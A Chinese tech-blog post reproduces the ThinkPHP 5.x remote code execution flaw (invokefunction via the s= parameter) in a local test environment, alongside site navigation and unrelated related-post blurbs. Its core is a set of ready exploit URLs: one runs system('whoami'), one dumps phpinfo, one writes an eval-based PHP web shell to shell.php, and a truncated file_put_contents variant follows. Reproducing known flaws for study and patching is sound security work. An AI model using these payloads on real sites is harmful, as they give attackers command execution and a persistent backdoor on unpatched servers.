原创投稿
  1. 创想鸟首页
  2. 用户投稿

thinkphp远程执行命令漏洞

程序猿 • • 用户投稿

thinkphp远程执行命令漏洞

漏洞概况

ThinkPHP是一款国内流行的开源PHP框架，近日被爆出存在可能的远程代码执行漏洞，攻击者可向缓存文件内写入PHP代码，导致远程代码执行。

虽然该漏洞利用需要有几个前提条件，但鉴于国内使用ThinkPHP框架的站点数量之多，该漏洞还是存在一定的影响范围。由于框架对控制器名没有进行足够的检测会导致在没有开启强制路由的情况下可能的getshell漏洞。

漏洞危害

立即学习“PHP免费学习笔记（深入）”；

攻击者可通过该漏洞获取网站的控制权限，可修改页面，导致数据泄漏等问题。

影响版本

5.x < 5.1.31, <= 5.0.23

复现环境

thinkphp5.1   phpstudy集成环境（php5.6n+apache+mysql)

复现过程

1、如图所示首先搭建好环境

1.jpg

2、利用system函数远程命令执行：

http://localhost/thinkphp5.1/html/public/index.php?s=index/thinkapp/invokefunction&function=call_user_func_array&vars%5B0%5D=system&vars%5B1%5D%5B%5D=whoami

2.jpg

3、通过phpinfo函数写出phpinfo()的信息：

http://localhost/thinkphp5.1/html/public/index.php?s=index/thinkapp/invokefunction&function=call_user_func_array&vars%5B0%5D=phpinfo&vars%5B1%5D%5B%5D=1

3.jpg

4、写入shell：

http://localhost/thinkphp5.1/html/public/index.php?s=/index/thinkapp/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=echo%20^%3C?php%20@eval($_GET[%22code%22])?^%3E%3Eshell.php

4.jpg

或

http://localhost/thinkphp5.1/html/public/index.php?s=index/thinkapp/invokefunction&function=call_user_func_array&vars[0]=file_put_contents&vars[1][]=../test.php&vars[1][]=

推荐教程：《TP5》

以上就是thinkphp远程执行命令漏洞的详细内容，更多请关注创想鸟其它相关文章！

版权声明：本文内容由互联网用户自发贡献，该文观点仅代表作者本人。本站仅提供信息存储空间服务，不拥有所有权，不承担相关法律责任。
如发现本站有涉嫌抄袭侵权/违法违规的内容， 请发送邮件至 chuangxiangniao@163.com 举报，一经查实，本站将立刻删除。
发布者：程序猿，转转请注明出处：https://www.chuangxiangniao.com/p/90249.html

赞 (0)
打赏 微信扫一扫 微信扫一扫 支付宝扫一扫 支付宝扫一扫
0 0

关于作者

程序猿的头像

程序猿签约作者

413.8K 文章
0 评论
2 粉丝
这个人很懒，什么都没有留下～
如何实现MySQL中查看用户角色成员的语句？
上一篇 2025年11月18日 10:00:24
飞羽淬光 佳能 EOS R5 Mark II 生态摄影深度体验
下一篇 2025年11月18日 10:02:26

相关推荐

  • mysql如何优化子查询 用户投稿

    mysql如何优化子查询

    优先使用JOIN替代相关子查询，减少扫描行数并利用索引；对子查询字段建立合适索引；用EXISTS代替IN处理大量数据；物化不相关子查询结果；避免无索引的标量子查询；通过EXPLAIN分析执行计划优化性能。 MySQL中子查询如果使用不当，容易导致性能下降，尤其是在数据量大的情况下。优化子查询的核心是…

    程序猿的头像 程序猿
    2026年9月21日
    000
  • Grok官方主页登录入口_Grok最新版官方网站地址 用户投稿

    Grok官方主页登录入口_Grok最新版官方网站地址

    Grok官方主页登录入口是grok.com，用户需通过X账号登录，该网站支持电脑和手机浏览器访问，界面简洁，可进行多轮对话，并与X平台深度关联，提供免费及高级订阅服务。 ☞☞☞AI 智能聊天, 问答助手, AI 智能搜索, 免费无限量使用 DeepSeek R1 模型☜☜☜ Grok官方主页登录入口…

    程序猿的头像 程序猿
    2026年9月21日
    000
  • 如何在服务器上优化mysql安装 用户投稿

    如何在服务器上优化mysql安装

    优化MySQL需从系统环境、配置参数、存储引擎到日常维护多层面入手，首先确保内存合理分配、选用XFS等高性能文件系统、关闭非必要服务并调整内核参数；其次在MySQL配置中优先使用InnoDB引擎，科学设置innodb_buffer_pool_size、innodb_log_file_size、max…

    程序猿的头像 程序猿
    2026年9月21日
    000
  • 如何为VSCode配置一个高效的PHP开发环境？ 用户投稿

    如何为VSCode配置一个高效的PHP开发环境？

    搭建高效PHP开发环境需配置VSCode扩展与工具链：①安装PHP Intelephense实现智能补全；②配置Xdebug实现断点调试；③集成PHP CS Fixer或Prettier实现保存时自动格式化；④利用GitLens和集成终端提升协作与操作效率，一次性配置可长期提升编码质量与开发速度。 …

    程序猿的头像 程序猿
    2026年9月21日
    000
  • mysql如何启用binlog日志 用户投稿

    mysql如何启用binlog日志

    MySQL启用binlog需修改配置文件添加log-bin和server-id，重启服务后执行SHOW VARIABLES LIKE ‘log_bin’验证是否为ON，确认启用。 MySQL启用binlog日志需要修改配置文件并重启服务，同时可进行简单验证确保生效。以下是具体…

    程序猿的头像 程序猿
    2026年9月21日
    000
  • 猎豹浏览器最新官方网址链接 猎豹浏览器平台入口直达官网首页 用户投稿

    猎豹浏览器最新官方网址链接 猎豹浏览器平台入口直达官网首页

    猎豹浏览器最新官方网址是http://m.liebao.cn/，该网站提供安卓和iPhone版浏览器下载，具备双引擎加速、视频缓存、安全防护及个性化设置等功能。 猎豹浏览器最新官方网址链接在哪里？这是不少网友都关注的，接下来由PHP小编为大家带来猎豹浏览器平台入口直达官网首页，感兴趣的网友一起随小编…

    程序猿的头像 程序猿
    2026年9月21日
    000
  • mysql如何使用事务保证操作原子性 用户投稿

    mysql如何使用事务保证操作原子性

    答案：MySQL中事务通过START TRANSACTION开启，需使用InnoDB引擎并关闭自动提交，执行SQL后根据结果COMMIT或ROLLBACK，结合异常处理确保原子性。 在MySQL中，事务是保证数据库操作原子性的核心机制。通过事务，可以确保一组SQL操作要么全部成功执行，要么全部不执行…

    程序猿的头像 程序猿
    2026年9月21日
    500
  • mysql如何理解索引选择性 用户投稿

    mysql如何理解索引选择性

    索引选择性是衡量索引效率的关键指标，定义为索引列不同值数量与总行数的比值，范围在0到1之间。越接近1，数据唯一性越高，索引过滤能力越强，查询性能越好。例如主键列选择性为1，而性别列因重复值多选择性极低。MySQL优化器会优先选择高选择性索引以缩小搜索范围，提高执行效率。可通过SELECT COUNT…

    程序猿的头像 程序猿
    2026年9月21日
    000
  • ThinkPHP生产环境部署的注意事项 用户投稿

    ThinkPHP生产环境部署的注意事项

    在生产环境中部署thinkphp应用需要注意以下几点：1.确保服务器环境满足thinkphp要求，使用php 7.2+和支持的web服务器；2.配置php.ini和application/config.php文件，关闭调试模式，设置合适的日志级别和数据库连接；3.采取安全措施，保护应用目录结构，使用…

    程序猿的头像 程序猿
    2026年9月21日
    100
  • 如何制作抖音点单小程序：全面指南与实用技巧 用户投稿

    如何制作抖音点单小程序：全面指南与实用技巧

    引言： 随着移动互联网的飞速发展，抖音已不仅仅是短视频平台，更成为商家连接用户的重要入口。越来越多企业开始关注抖音点单小程序的搭建，以提升服务效率和用户体验。本文将为您系统讲解抖音点单小程序的制作流程，并分享实用技巧与真实案例，助您快速打造专属的小程序，实现流量变现与销售增长。 1. 明确核心需求与…

    程序猿的头像 程序猿
    2026年9月21日
    200

  • CentOS安装Mysql8.0图文教程[通俗易懂]

    CentOS安装Mysql8.0图文教程[通俗易懂]CentOS安装Mysql8.0图文教程[通俗易懂]CentOS安装Mysql8.0图文教程[通俗易懂]CentOS安装Mysql8.0图文教程[通俗易懂]

    大家好，又见面了，我是你们的朋友全栈君。 本文将为您提供一个详细的CentOS通过yum安装Mysql8.0的图文教程，并指导您如何配置和运行Mysql，使其能够被外部访问。 首先，我们需要从官网下载对应的rpm包，并复制下载链接。 接着，执行以下命令进行下载： # 先进入到local文件夹cd u…

    程序猿的头像 程序猿
    2026年9月21日 • 用户投稿
    100
  • mysql如何配置ssl安全连接 用户投稿

    mysql如何配置ssl安全连接

    MySQL支持SSL时返回YES，通过生成证书并配置my.cnf中的ssl-ca、ssl-cert、ssl-key启用SSL，创建REQUIRE SSL用户确保加密连接，客户端连接需指定证书参数，STATUS或Ssl_cipher验证加密状态。 MySQL 配置 SSL 安全连接可以提升数据库通信的…

    程序猿的头像 程序猿
    2026年9月21日
    200
  • 访问DeepSeek官方网站 deepseek在线版免费登录 用户投稿

    访问DeepSeek官方网站 deepseek在线版免费登录

    答案：DeepSeek在线版免费登录入口位于官网https://chat.deepseek.com/sign_in，用户可通过手机号验证码或微信授权登录，新用户免注册，登录后自动创建账户并同步多端数据，支持网页和APP使用。 ☞☞☞AI 智能聊天, 问答助手, AI 智能搜索, 免费无限量使用 De…

    程序猿的头像 程序猿
    2026年9月21日
    100
  • mysql如何在SQL中使用聚合函数 用户投稿

    mysql如何在SQL中使用聚合函数

    聚合函数用于统计计算并返回单个值，常见函数有COUNT、SUM、AVG、MAX、MIN，通常与GROUP BY配合使用。1. COUNT统计非空值或总行数，SUM求和，AVG求平均，MAX和MIN分别取最大最小值。2. 对orders表整体统计可得总订单数、总额等信息。3. 按user_id分组后可…

    程序猿的头像 程序猿
    2026年9月21日
    400
  • 连接管理（Connection）的核心逻辑 用户投稿

    连接管理（Connection）的核心逻辑

    连接管理的核心逻辑包括资源管理、性能优化、错误处理和安全性。1. 连接池是关键，预先创建连接存放在池中，使用后归还。2. 连接池大小需平衡，太小导致连接不足，太大浪费资源。3. 生命周期管理要处理长时间 unused 和死连接。4. 错误处理确保系统稳定性。 在编程世界里，连接管理（Connecti…

    程序猿的头像 程序猿
    2026年9月21日
    100

  • MySQL如何高效存储时间日期数据_时区和格式问题处理？

    MySQL如何高效存储时间日期数据_时区和格式问题处理？MySQL如何高效存储时间日期数据_时区和格式问题处理？MySQL如何高效存储时间日期数据_时区和格式问题处理？MySQL如何高效存储时间日期数据_时区和格式问题处理？

    核心策略是统一存储utc时间并由应用层处理时区转换与格式化。1.timestamp适合跨时区场景，自动转换utc且节省空间；2.datetime适合固定日期事件，不随时区变化；3.写入前应用层转utc，读取后转用户本地时间；4.格式化应在应用层完成以提升性能与灵活性；5.避免字符串存储时间，优先使用…

    程序猿的头像 程序猿
    2026年9月21日 • 用户投稿
    100
  • 事务（Transaction）处理与并发控制 用户投稿

    事务（Transaction）处理与并发控制

    事务处理确保操作全部完成或不完成，并发控制防止事务互相干扰。事务处理核心是acid属性：1.原子性，2.一致性，3.隔离性，4.持久性；并发控制方法包括锁和mvcc，优化需考虑事务粒度、隔离级别、锁和mvcc的应用。 事务处理与并发控制是数据库管理系统中至关重要的两个概念，确保数据的一致性和完整性。…

    程序猿的头像 程序猿
    2026年9月20日
    100
  • mysql如何启用query cache 用户投稿

    mysql如何启用query cache

    MySQL 5.7及之前版本可通过配置启用Query Cache以提升读取性能，首先确认支持性：执行SHOW VARIABLES LIKE ‘have_query_cache’，若返回YES则可继续。接着在my.cnf或my.ini的[mysqld]段添加query_cach…

    程序猿的头像 程序猿
    2026年9月20日
    200
  • time函数处理时间在mysql中如何操作 用户投稿

    time函数处理时间在mysql中如何操作

    MySQL中的时间函数用于处理时间数据，如获取当前时间用NOW()或CURTIME()，提取时间部分用TIME()，格式化输出用TIME_FORMAT()，时间计算可用TIMEADD()、TIMEDIFF()等函数，支持加减和差值运算，需注意字段类型与格式匹配。 在 MySQL 中，time 函数和…

    程序猿的头像 程序猿
    2026年9月20日
    100
  • PHP播放HLS视频流的方法_PHP播放HLS视频流方法 用户投稿

    PHP播放HLS视频流的方法_PHP播放HLS视频流方法

    答案：PHP通过权限控制和文件代理实现HLS流安全分发，前端使用HTML5视频标签和hls.js播放。具体描述：HLS将视频切为.ts片段并用.m3u8索引，PHP后端可校验用户权限、防止盗链，动态输出.m3u8或.ts内容；前端通过video标签加载stream.php?id=1，结合hls.js…

    程序猿的头像 程序猿
    2026年9月20日
    000

发表回复

登录后才能评论
关注微信